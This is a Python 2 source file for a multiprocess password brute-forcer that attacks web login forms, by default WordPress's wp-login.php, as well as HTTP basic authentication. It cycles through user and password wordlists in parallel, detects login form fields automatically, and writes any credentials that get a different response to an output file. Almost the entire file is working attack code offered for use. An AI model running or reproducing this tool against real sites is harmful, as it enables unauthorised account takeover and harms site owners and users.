# multiprocess generic bruteforcer
# TurboBorland - multiprocess vs. multithread
import socket, re, ssl, itertools
from base64 import encodestring, decodestring
from urllib import urlencode
from sys import argv
from os import strerror
from multiprocessing import Pool, Lock, active_children
from time import sleep

#################################################################################
# This is where I set defaults (wordpress), take arguments, check file permissions, etc.
# it's a fairly long and boring process here

# set default values
host    = '127.0.0.1' 	  # ip
login   = '/wp-login.php' # /path/to/login
invalid = 'incorrect' # bad boy invalid password response
port    = 80 # port
secure  = 0  # ssl/tls support for https
uinput  = 'log' # user input field
pinput  = 'pwd' # password input field
efields = 'wp-submit=Log+In' # extra fields
chunksize = 100 # what to split dictionary by
pool_size = 20  # processes to run at a time

# mutex lock
global lock
lock = Lock()

# file handlers
ofile  = 'woot' # output file
pifile = 'passwords' # password input file
uifile = 'users' # users input file

# configurable variables
usero  = 0 # username supplied instead of user list
bysize = 0 # byte size until invalid match
stimeout = 8 # socket timeout before attempting another session. Higher is more reliable
grabform = 0 # attempt login field detection
basicauth = 0 # basic authentication

# regex expressions
sizel   = re.compile('Content-Length\s*?:\s*(\d*)') # payload size
ischunk = re.compile('Transfer-Encoding\s*?:\s*chunk') # is chunked encoding
headers = re.compile('(.*?)\r\n\r\n', re.S) # grab http headers
forms   = re.compile('(<form[\w\W]*?/form>)') # grab forms
ginput  = re.compile('<input.*?name=\"(.*?)\"') # grab inputs for each form

# help menu
def usage(arg):
	print(str(arg))
	print("\nBruteforcing (-d or -i required):")
	print("\t-d <domain>\tdomain to connect to")
	print("\t-i <host>\tip to connect to")
	print("\t-p <#>\tport number")
	print("\t-s\t\tenable SSL/TLS (default off)")
	print("\t-ba\t\tEnable basic authentication bruteforce")
	print("\t-u <user>\tusername to bruteforce")
	print("\t-l <path>\t/location/to/login.php")
	print("\t-b <input>\tSet bad boy (invalid login attempt message/error")
	print("\t-g\tattempt to find form fields automatically")
	print("\t-f <c,s,v>\tcomma seperated values for input fields")
	print("\t\t*Example: to specify username and password please use, -f username=field,password=field,submit=log+in")
	print("\nFile options:")
	print("\t-o <file>\toutput file (default: woot")
	print("\t-pi <passlist>\tpassword input file")
	print("\t-ui <userlist>\tuser list to bruteforce")
	print("\nSpeed Enhancements:")
	print("\t-n <#>\tnumber of processes to maintain at once")
	print("\t-st <#>\tset socket timeout (seconds)")
	print("\t-cs <#>\tset chunk size (what to split password input size) per process")
	print("\t-bs <user>\toffset in packet until invalid response seen (decrease socket buffer recv requirement)")
	print("\t-off <#>\toffset to look for invalid response")
	print("\nExamples:\n\tpython %s -d www.test.com -u admin -pi passlist" % argv[0])
	exit("\tpython %s -d www.test.com -f username=user,password=pwd,submit=log+in -u admin -pi passwords" % argv[0])

# argument checking
x = 0
if (len(argv) < 2):	usage('\nNot enough arguments')
for arg in argv:
	if (str(arg) == '-d'):
		try:
			domain = str(argv[x+1])
			host   = socket.gethostbyname(str(domain)) #ipv4 support only
                        print('Domain %s at ip %s set' % (domain,host))
		except:	usage('\nDomain name not set with -d')
	elif (str(arg) == '-i'):
		try:
			host = str(argv[x+1])
			domain = host
			print('IP set to %s' % str(host))
		except:	usage('\nip address not set with -i')
	elif (str(arg) == '-pi'):
		try:	pifile = str(argv[x+1])
		except:	usage('\npassword file not set with -pi')
	elif (str(arg) == '-p'):
		try:	port = int(argv[x+1])
		except:	usage('\nport not set with -p')
	elif (str(arg) == '-ui'):
		try:	uifile = str(argv[x+1])
		except:	usage('\nuser file not set with -ui')
	elif (str(arg) == '-u'):
		try:
			username = str(argv[x+1])
			usero = 1
		except:	usage('\nusername not set with -u')
	elif (str(arg) == '-n'):
		try:	pool_size = int(argv[x+1])
		except:	usage('\nnumber of processes not set with -n')
	elif (str(arg) == '-s'):
		secure = 1
		print('Secure http bruteforce enabled')
	elif (str(arg) == '-o'):
		try:	ofile = str(argv[x+1])
		except:	usage('\nno output file specified with -o')
	elif (str(arg) == '-b'):
		try:	invalid = str(argv[x+1])
		except:	usage('\ninvalid attempt error message not set with -b')
	elif (str(arg) == '-l'):
		try:	login = str(argv[x+1])
		except:	usage('\nlogin page not set with -l')
	elif(str(arg) == '-g'):
		grabform = 1
		print('Grabbing form fields...')
	elif(str(arg) == '-f'):
		try:	fieldvalues = str(argv[x+1])
		except:	usage('\ninput field values not set with -f')
		splitfield = fieldvalues.split(',')
		fields = []
		for field in splitfield:
			if (field.find('username=') != -1):	uinput = field.split('=')[1]
			elif (field.find('password=') != -1):	pinput = field.split('=')[1]
			else:	fields.append(str(field))
		efields = ''
		for field in fields:	efields += str(field)
		print('Fields set by user: %s' % efields)
	elif(str(arg) == '-bs'):
		bysize = 1
		print('Error message byte offset finding mode enabled...')
		try:	username = str(argv[x+1])
		except:	usage('\nusername not set with -bs')
	elif(str(arg) == '-off'):
		try:	sizel = int(argv[x+1])
		except:	usage('\noffset size not set with -off')
	elif(str(arg) == '-cs'):
		try:	chunksize = int(argv[x+1])
		except:	usage('\nchunk size not set with -cs')
	elif(str(arg) == '-st'):
		try: stimeout = int(argv[x+1])
		except: usage('\nsocket timeout value not set with -st')
	elif(str(arg) == '-ba'):	basicauth = 1
	elif(str(arg) == '-h'):	usage('')
	x += 1

# check file permissions
if (grabform == 0 and bysize == 0):
	if (usero == 0):
		try:	userfile  = open(uifile,'r')
		except IOError,e:	exit('Error opening user input file:\t%s' % e)
	try:	fpass = open(pifile,'r').readlines()
	except IOError,e:	exit('Error opening password input file:\t%s' % e)
try:	out = open(ofile,'w').close()
except IOError,e:	exit('Output file does not have appropriate permissions permissions:\t%s' % e)

# regex for invalid input (down here in case user provided)
insize = re.compile('.*'+invalid, re.S)

#########################################################
# Start of the actual content

def grabForm():
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	if (secure == 1):	mySocket = ssl.wrap_socket(s)
	else:
		mySocket = s
		mySocket.settimeout(stimeout)
	connmsg = mySocket.connect_ex((host,port))
	while (connmsg != 0):
		print('ERROR:\t\t%s' % strerror(connmsg))
		sleep(2.1)
		connmsg = mySocket.connect_ex((host,port))
	mySocket.send('GET '+login+' HTTP/1.1\r\nHost: '+domain+'\r\n\r\n')
	chunk = mySocket.recv(1024)
	while (sizel.search(chunk) == None and headers.search(chunk) == None):	chunk += mySocket.recv(1024)
	if (ischunk.search(chunk) != None):
		while (chunk.find('</html>') <= 0):	chunk += mySocket.recv(1024)
	else:
		payload = int(sizel.search(chunk).group(1))+int(len(headers.search(chunk).group(1)))
        	while (len(chunk) < payload):	chunk += mySocket.recv(1024)
	grabform = forms.findall(chunk) # find all forms
	for form in grabform:
		print('Here is all of our grabbed form data:\n%s\n' % form)
		grabinput = ginput.findall(form)
		print('Here is just the grabbed input fields:\n%s\n' % '\n'.join(grabinput))
	mySocket.shutdown(socket.SHUT_RDWR)
	mySocket.close()
	exit('Finished login input fields detection. Feed appropriate ones to python with -f username=c,password=s,v=x')

# password bruteforcing class
class brutePass(object):
	def __init__(self, username, password, secure, postfields, stimeout):
		self.username  = username.strip('\n')
		self.password  = password.strip('\n')
		self.bysize    = bysize
		self.postfields = postfields
		self.stimeout = stimeout

	def run(self):
		self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
		if (secure == 1):	self.socket = ssl.wrap_socket(self.s)
		else:
			self.socket = self.s
			self.socket.settimeout(self.stimeout)
		self.connmsg = self.socket.connect_ex((host,port))
		while (self.connmsg != 0):
			print('ERROR:\t\t%s\t%s:%s' % (strerror(self.connmsg),self.username,self.password))
			sleep(2.1) # anything >=2 will be not clear
			self.connmsg = self.socket.connect_ex((host,port))
		self.socket.send('POST '+login+' HTTP/1.1\r\nContent-length: '+str(len(self.postfields))+'\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: '+domain+'\r\n\r\n'+self.postfields)
		self.chunk = self.socket.recv(20)
		while (len(self.chunk) < 3):
			try:	self.chunk += self.socket.recv(1)
			except socket.error:
				print('Timeout seen when attempting to fill socket recv buffer on status response...')
				self.socket.shutdown(socket.SHUT_RDWR)
				self.socket.close()
				return 1
		if (self.chunk.find('200') == -1):
			print('ERROR:\t200 OK was not seen in response. You may be sending too fast, eating sessions, login limited, or are ip blocked!')
			self.socket.shutdown(socket.SHUT_RDWR)
			self.socket.close()
			return 1
		try:
			int(sizel) # sizel is only user defined, size length to error message
			while (len(self.chunk) < sizel):
				try:	self.chunk += self.socket.recv(1024)
				except socket.error:
					self.socket.shutdown(socket.SHUT_RDWR)
					self.socket.close()
					print('Timeout seen when attempting to fill socket recv buffer on specified offset...')
					return 1
		except:
			# if we haven't seen content-length and headers not done transmitting
			while (sizel.search(self.chunk) == None and headers.search(self.chunk) == None): 
				try:	self.chunk += self.socket.recv(600)
				except socket.error:
					self.socket.shutdown(socket.SHUT_RDWR)
					self.socket.close()
					print('Timeout seen when attempting to fill socket recv buffer on header receival...')
					return 1
			# combine header size into payload size check
			self.payload = int(sizel.search(self.chunk).group(1))+int(len(headers.search(self.chunk).group(1)))
			while (len(self.chunk) < self.payload):
				try:	self.chunk += self.socket.recv(1024)
				except socket.error:
					self.socket.shutdown(socket.SHUT_RDWR)
					self.socket.close()
					print('Timeout seen when attempting to fill socket recv buffer on full payload...')
					return 1
		if (self.chunk.find(str(invalid)) == -1):
			print('Possible:\t%s:%s\tDifferent response generated with credentials. Check %s for more details' % (self.username,self.password,ofile))
			lock.acquire()
			f = open(ofile, 'a')
			f.write('%s:%s\n\tData:%s\n\n' % (self.username,self.password,self.chunk))
			f.close()
			lock.release()
		if (self.bysize == 1):
                        insearch = insize.search(self.chunk)
                        print('Validate Data:\n%s\n\nbyte offset: %d' % (insearch.group(0),len(insearch.group(0))))
		self.socket.shutdown(socket.SHUT_RDWR)
		self.socket.close()
		return 0

class basicAuth(object):
	def __init__(self,attempt,secure,stimeout):
		self.attempt = attempt
		self.stimeout = stimeout
	
	def run(self):
		self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
                if (secure == 1):	self.socket = ssl.wrap_socket(self.s)
                else:
			self.socket = self.s
                        self.socket.settimeout(self.stimeout)
                self.connmsg = self.socket.connect_ex((host,port))
                while (self.connmsg != 0):
			self.plaintext = decodestring(self.attempt)
                        print('ERROR:\t\t%s\t%s' % (strerror(self.connmsg),self.plaintext))
                        sleep(2.1) # anything >=2 will be not clear
                        self.connmsg = self.socket.connect_ex((host,port))
		self.socket.send('HEAD '+login+' HTTP/1.1\r\nHost: '+domain+'\r\nAuthorization: Basic '+self.attempt+'\r\nConnection: close\r\n\r\n')
		self.chunk = ''
		while (len(self.chunk) < 16):	self.chunk += self.socket.recv(16)
		#print(str(self.chunk))
		if (self.chunk.find('401') != -1):	return 0
		else:
			self.plaintext = decodestring(self.attempt)
			print('%s\t401 Authorization Denied response not seen!\n%s' % ((self.plaintext),self.chunk))
			lock.acquire()
                        f = open(ofile, 'a')
                        f.write('%s\n\tData:%s\n\n' % (self.plaintext,self.chunk))
                        f.close()
                        lock.release()
		self.socket.shutdown(socket.SHUT_RDWR)
		self.socket.close()
		return 0

# middle-man for each process
formvalue = efields.split('=')
def worker(passwordfi):
	if (usero == 1 and basicauth == 0):
		global username
		for password in passwordfi:
			password = password.strip('\n')
			postfields = urlencode([(uinput,username),(pinput,str(password)),(str(formvalue[0]),str(formvalue[1]))])
			while (brutePass(username,password,secure,postfields,stimeout).run() != 0):	sleep(1)
	elif (usero == 1 and basicauth == 1):
		for password in passwordfi:
			password = password.strip('\n')
			attempt  = encodestring('%s:%s' % (username,str(password))).strip()
			#print(str(attempt))
			while (basicAuth(attempt,secure,stimeout).run() != 0):	sleep(1)
	elif (basicauth == 1):
		for password in passwordfi:
			password = password.strip('\n')
			userfile = open(uifile,'r')
			for username in userfile:
				username = username.strip('\n')
				attempt = encodestring('%s:%s' % (username,str(password))).strip()
				while (basicAuth(attempt,secure,stimeout).run() != 0):	sleep(1)
	else:
		for password in passwordfi:
			password = password.strip('\n')
			userfile = open(uifile,'r')
			for username in userfile:
				username = username.strip('\n')
				postfields = urlencode([(uinput,username),(pinput,str(password)),(str(formvalue[0]),str(formvalue[1]))])
				while (brutePass(username,password,secure,postfields,stimeout).run() != 0):	sleep(1)
	return 0

# give us a list
def grouper(iterable,n,fillvalue=None):
    it = iter(iterable)
    def take():
	while 1: yield list(itertools.islice(it,n))
    return iter(take().next,[])

if __name__ == '__main__':
	if (grabform == 1):	grabForm()
	if (bysize == 1):
		postfields = urlencode([(uinput,username),(pinput,'pass213sdkflaj'),(str(formvalue[0]),str(formvalue[1]))])
		brutePass(username,'pass213sdkflaj',secure,postfields,stimeout).run()
		exit('Finished finding invalid response offset in payload. Pass this to python with -off <bytes>.\n*Recommended to allow an extra 80 bytes for header, payload, username, or other possible changes in return.')
	
	# create pool
	if (len(fpass) < chunksize):	chunksize = len(fpass)
	pool = Pool(processes=pool_size)
	for chunk in itertools.izip(grouper(fpass,chunksize)):	pool.map_async(worker,chunk)
	pool.close()
	try:
		while(len(active_children()) > 0): # how many active children do we have
			sleep(2)
			ignore = active_children()
	except KeyboardInterrupt:	exit('CTRL^C caught, exiting...\n\n')
	print('Bruteforcing finished')
